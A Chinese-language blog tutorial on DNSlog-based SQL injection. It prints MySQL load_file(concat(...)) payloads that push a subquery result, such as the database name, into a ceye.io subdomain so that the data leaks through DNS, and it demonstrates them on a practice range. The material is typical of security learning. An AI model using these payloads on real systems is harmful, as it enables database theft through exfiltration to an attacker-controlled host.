前言
我以爲我寫過dns注入了,結果我心血來潮看看博客,發現我居然還沒有寫
那麼我就寫一下
0x01.Dns注入原理
什麼是dns?
例子:我們去訪問 www.baidu.com,這時候dns會吧 www.baidu.com 這個域名轉換爲 IP地址
Dns其實就是負責把域名轉換爲IP地址
如果還不懂的話點擊 點擊這裏查看
Dns在域名解析時會留下域名和解析ip的記錄,利用這點我們可以使用Dnslog(日誌)記錄顯示我們的
注入結果
dnslog注入原理
通過子查詢,將內容拼接到域名內,讓load_file()去訪問共享文件,訪問的域名被記錄
此時變爲顯錯注入,將盲注變顯錯注入,讀取遠程共享文件,通過拼接出函數做查詢,拼接到域名中,訪問時將訪問服務器,記錄後查看日誌
0x02.什麼情況下使用dnslog注入?
一般情況下,在我們無法通過聯合查詢直接獲取數據的情況下,我們只能通過盲注,來一步步的獲取數據,這時候就可以嘗試使用dnslog注入
0x03.dnslog注入該怎麼注入
這裏就要借用一個平臺:http://ceye.io
然後我們這邊訪問一下 111.pxxx.ceye.io
這邊就已經記錄了我們訪問的請求
然後我們這邊還用到 load_file()
函數
就是讀取文件,然後返回的內容爲字符串
0x04.dnslog注入方法講解
我們先看下查詢文件是怎麼查的
dnslog注入
只不過亂碼了,我也懶得去設置
這時候我們去構造一個我們注入的payload
select load_file(concat())
我們先大致的這樣構造出來基本注入語句
concat的作用就是將字符串連接在一起
select load_file(concat('\\\\',(select database()),'pdxxx.ceye.io\\abc'))
然後我們把 concat() 裏面的內容拿出來看
concat('\\\\',(select database()),'.pdxxx.ceye.io\\abc')
\\\\
其實是轉義的意思,使用後就會變成 \\
然後逗號隔開,(select database()) 就是一個子查詢
然後後面那裏就是 0x03 演示的
\\
也是轉義,這樣就會變成一個 \
由於concat() 函數的原因,最終變成
select load_file(\\庫名.pdxxx.ceye.io\asb)
你可能會問,爲什麼我是寫漢語《庫名》?
因爲這邊是 子查詢,查詢的就是庫名,然後把庫名拼接進去 就像 第三步那樣,只不過 111 是我亂寫的,但是ceye平臺依然去記錄這個請求
你也可能會問,爲什麼寫 \asb,asb有什麼特殊含義嗎? 沒有的,沒有什麼特殊含義,只是隨便亂寫的
數據庫去訪問root.pdxxx.ceye.io的服務器下的共享文件夾asb
然後ceye.io的子域名的解析都是在某臺服務器,然後他記錄下來了有人請求訪問了root.pdxxx.ceye.io,然後在ceye這個平臺上面顯示出來了
這就差不多解釋清楚了,這時候我們再構建一個注入語句
select load_file(concat('\\\\',(select database()),'.pdXXwo.ceye.io\\abc'))
我們先看一下是怎麼查出庫名的
然後看下,發現成功的查詢出了庫名,數據庫也是存在這個庫的,這時候我們再去靶場玩一玩
0x05.靶場演示
and (select load_file(concat('\\\\',(select database()),'.pdkzwo.ceye.io\\aaa')))#
通過上面的構造,我們簡單修改一下既可注入
就得到了庫名,接下來和前面的 union注入一樣
你可能會問這一次只跑出一個數據,萬一很多張表呢?
然後其實你可以用 limit來的
文末
寫完感覺有點累,我中午午睡完後感覺頭有點疼,實在受不了,暈乎